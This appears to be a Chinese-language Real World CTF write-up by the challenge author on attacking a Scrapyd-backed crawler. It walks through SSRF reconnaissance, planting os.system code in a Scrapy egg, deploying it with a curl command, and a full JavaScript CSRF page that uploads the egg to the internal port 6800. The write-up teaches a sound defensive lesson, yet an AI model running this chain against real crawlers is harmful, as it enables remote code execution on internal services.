攻击Scrapyd爬虫
2019-09-18 17:43:36 Author: www.leavesongs.com(查看原文) 阅读量:525 收藏

类似我一贯的做法，这次Real World CTF我出了一道实战性的题目，目标仍然是getshell。

我们以渗透测试的步骤来审视这道题目。

0x01 信息搜集

与我以往的题目不同的是，这次虽然我自己写了一部分代码，但是这部分代码的目的是串联起几个服务，整个流程与代码漏洞无关，所以没有给出源代码。

目标是一个简单的web，描述是“Use crawlbox to get all links from a page”，输入一个URL，稍等片刻可以获取这个页面里所有的链接，后端应该是一个爬虫：

image.png

我们抓取一下这个“爬虫”的请求：

image.png

可见其User-Agent是Scrapy/ChromeHeadless (+https://scrapy.org)。从其中获取到了两个信息：

  • Scrapy
  • Chrome Headless

scrapy是python下的一款非常流行的爬虫框架，猜测用户输入的URL被交给scrapy执行，而scrapy中使用了Chrome对URL进行访问并获取结果。

关注到这一点，我们可以浏览一下scrapy这个工具的首页：

image.png

其中提到部署爬虫可以部署到scrapyd，在文档中也提到了这一点：https://docs.scrapy.org/en/latest/topics/deploy.html。

思考，作为一个Web服务，如果要调用scrapy爬虫爬取信息，无非有两种方法：

  • 直接命令行调用scrapy
  • 通过scrapyd提供的API进行调用

那么，如何分辨目标使用了哪种方法调用scrapy呢？

方法也很容易想到：我们可以尝试探测本地或内网中是否有开启scrapyd服务的端口。打开scrapyd的文档（https://scrapyd.readthedocs.io/en/latest/overview.html#webui），可知scrapyd默认开放在6800端口。

最简单的方法，我们直接用目标提供的爬虫功能进行探测（需要用xip.io简单绕过一下SSRF的检测）：

image.png

显然，本地6800端口是开启的，可以确定后端是scrapyd。

如果你完全没注意到User-Agent中的scrapy，题干中的“I wrote a secure crawler on top of a browser, which you can use to crawl all the links on a website”也提到了浏览器，你也可以完全将这里理解为一个XSS盲打漏洞。

于是，我们可以利用XSS中的一些技巧，如：获取内网地址、对内网服务进行扫描、获取User-Agent、Cookie、LocalStorage等信息，进而也能获取到User-Agent中的scrapy，或者发现6800端口这样的敏感服务。

如果你阅读文档或者扫描到了6023端口，这也是曾经一个可以攻击scrapy的端口。scrapy在启动扫描期间会开放6023端口作为Telnet Console，通过这个端口可以直接执行任意Python代码。在1.5.2后，scrapy官方修复了这个问题，详见https://docs.scrapy.org/en/latest/news.html#scrapy-1-5-2-2019-01-22。

0x02 如何攻击scrapyd

一顿信息搜集后，目标整个工作流程就清晰了：用户输入的URL被交给部署在scrapyd上的爬虫进行爬取，爬虫调用了Chrome渲染页面，并将结果中的链接返回给用户。

那么，这里重点就是scrapyd了。我们需要阅读scrapyd的文档，方便理解这个项目的工作流程。通过文档可知，scrapy是一个爬虫框架，而scrapyd是一个云服务，用户可以将自己用scrapy框架开发的爬虫上传到云端，然后通过Web API调用这个爬虫爬取信息。

scrapyd主要提供以下一些API：

  • /daemonstatus.json 获取云服务的状态
  • /addversion.json 上传一个新的爬虫项目，或者给一个已有的项目更新代码
  • /schedule.json 执行一个爬取任务
  • /cancel.json 停止并取消一个任务
  • /listprojects.json 列出云端的所有项目
  • /listversions.json 列出某个项目的所有代码版本
  • /listspiders.json 列出一个项目下所有spider，spider这个概念是scrapy框架中的，一个scrapy开发的爬虫可以有多个spider
  • /listjobs.json 列出所有任务，包括正在进行的、已完成的、等待执行的三个状态
  • /delversion.json 删除某个项目下的某个代码版本
  • /delversion.json 删除某个项目

简单来说，scrapyd云服务下可以有多个项目，每个项目下可以有多个代码版本，每个代码版本就是一个完整的scrapy项目，一个scrapy项目下可以有多个spider，最终执行的任务的载体是一个spider。

那么，也就是说，攻击者可以创建一个项目，并部署他自己的scrapy代码版本，将恶意代码部署到云端，进而对scrapyd云端进行攻击。

根据这个思路，我们先在本地进行测试。

安装并启动scrapyd：

pip install scrapyd
scrapyd

启动后访问http://127.0.0.1:6800即可看到主页：

image.png

此时云端没有项目：

image.png

然后，我们本地再安装scrapy框架，并创建一个scrapy项目：

pip install scrapy
scrapy startproject evil

生成了项目后，我们在evil/__init__.py中加入恶意代码：

import os

os.system('touch success')

然后，我们用scrapyd-client这个工具，将项目打包成egg包。当然也可以自己用setuptools手工打包。

pip install scrapyd-client
scrapyd-deploy --build-egg=evil.egg

此时，恶意的egg包已经生成，然后我们将其部署到云端：

curl http://localhost:6800/addversion.json -F project=evil -F version=r01 -F egg=@evil.egg

成功部署：

image.png

此时，touch success已成功执行：

image.png

0x03 利用CSRF漏洞攻击浏览器爬虫

针对6800端口的攻击在本地可以复现了，但是目标网站的6800是开启在内网的，我们无法直接访问。

可以借助目标前端的那个SSRF吗？不行，因为这只是一个GET型的URL请求，无法发送POST包部署代码。

不过，因为这个URL是被浏览器执行的，而scrapyd的所有API接口实际上都是可以进行CSRF攻击的，所以我们可以利用页面中的JavaScript发送POST数据包给6800端口，进而调用那些非GET型的API。

构造一个向http://127.0.0.1:6800/addversion.json发送POST上传请求的页面：

<html>
<head>
  <meta http-equiv="content-type" content="text/html; charset=utf-8" />

  <title>upload csrf</title>

</head>
<body>
  <script type="text/javascript" charset="utf-8">
  function b64toBlob(b64Data, contentType, sliceSize) {
        contentType = contentType || '';
        sliceSize = sliceSize || 512;

        var byteCharacters = atob(b64Data);
        var byteArrays = [];

        for (var offset = 0; offset < byteCharacters.length; offset += sliceSize) {
            var slice = byteCharacters.slice(offset, offset + sliceSize);

            var byteNumbers = new Array(slice.length);
            for (var i = 0; i < slice.length; i++) {
                byteNumbers[i] = slice.charCodeAt(i);
            }

            var byteArray = new Uint8Array(byteNumbers);

            byteArrays.push(byteArray);
        }

      var blob = new Blob(byteArrays, {type: contentType});
      return blob;
}

    var blob = b64toBlob("base64 data of evil.egg...", 'application/octet-stream')

    var myFormData = new FormData();
    myFormData.append("egg", blob, "evil.egg");
    myFormData.append("project", "evil_project_01")
    myFormData.append("version", "r01")
    fetch("http://127.0.0.1:6800/addversion.json", {
        method: "post",
        body: myFormData
    })
  </script>

</body>
</html>

值得注意的是，因为我们要上传一个二进制文件，所以我将evil.egg进行的base64编码：cat evil.egg | base64，然后将其转换成JavaScript中的Blob对象，添加到FormData中。

将这个页面提交给爬虫进行爬取，成功完成整个利用过程。

0x04 总结

首先吐槽一下scrapy这个框架，真是盛名之下其实难副，虽然说到爬虫必然会说到这个框架，但实际上不管是从其生态、文档、代码等角度看待这个项目，都是无法和Python下另一个伟大的项目Django相提并论的。实际使用下来感觉其架构不合理，文档也模糊不清，周边生态如scrapyd、scrapyd-client更是陈旧不堪，问题很多，处于弃疗状态。

总的来说scrapy作为一个生态框架是不及格的，但聊胜于无吧，相比于手工编写爬虫来说还是给开发者提供了很多帮助。

另外，在MVVM架构日益流行的当下，爬虫也变得更加灵活，特别是借助Chrome Headless或splash的爬虫能够动态执行JavaScript这个特性，能让爬虫爬到的信息更加完善，但也让攻击者有更多攻击途径。

通常来说scrapy和splash是一对标配，虽然我这次用的是Chrome，事实上没啥太大差别。对于此类动态爬虫，攻击者可以对浏览器或js引擎本身进行攻击，或者如我这样利用JavaScript攻击内网里一些基础服务。

另外，经常会有人在运行爬虫的时候会设置--no-sandbox、--disable-web-security等危险选项，这也给攻击者提供了很多便利，我建议利用普通用户权限启动浏览器爬虫，以避免使用这些不安全的选项。

作为一个“黑客”，在开动自己扫描器的同时，也要注意这些问题了哦，不要踏进别人的蜜罐还被人反日了。


文章来源: https://www.leavesongs.com/PENETRATION/attack-scrapy.html
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